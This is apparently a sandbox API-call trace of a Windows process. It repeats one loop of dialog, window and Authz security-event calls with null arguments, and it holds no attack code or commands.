[0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.624] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.624] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.624] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.624] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.624] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.624] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.624] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.624] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.624] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.624] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.624] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.624] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.625] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.625] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.625] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.625] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.625] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.625] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.625] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.625] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.625] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.625] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.625] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.625] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.625] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.625] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.625] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.625] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.625] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.625] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.625] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.625] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.625] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.625] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.625] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.625] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.625] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.626] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.626] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.626] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.626] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.626] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.626] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.626] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.626] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.626] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.626] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.626] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.626] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.626] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.626] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.626] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.626] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.626] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.626] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.626] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.626] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.626] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.626] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.627] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.627] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.627] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.627] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.627] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.627] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.627] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.627] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.627] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.627] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.627] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.627] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.627] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.627] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.627] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.627] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.627] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.627] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.627] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.627] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.627] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.627] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.627] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.628] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.628] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.628] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.628] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.628] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.628] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.628] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.628] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.628] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.628] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.628] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.628] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.628] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.628] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.628] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.628] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.628] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.628] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.628] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.628] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.628] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.628] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.628] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.628] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.628] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.628] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.629] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.629] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.629] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.629] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.629] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.629] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.629] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.629] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.629] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.629] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.629] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.629] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.629] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.629] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.629] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.629] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.629] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.629] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.629] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.630] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.630] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.630] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.630] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.630] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.630] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.630] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.630] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.630] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.630] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.630] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.630] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.630] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.630] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.630] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.630] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.630] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.630] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.630] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.630] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.630] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.630] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.630] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.631] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.631] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.631] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.631] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.631] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.631] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.631] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.631] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.631] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] GetTopWindow (hWnd=0x0) returned 0x30140 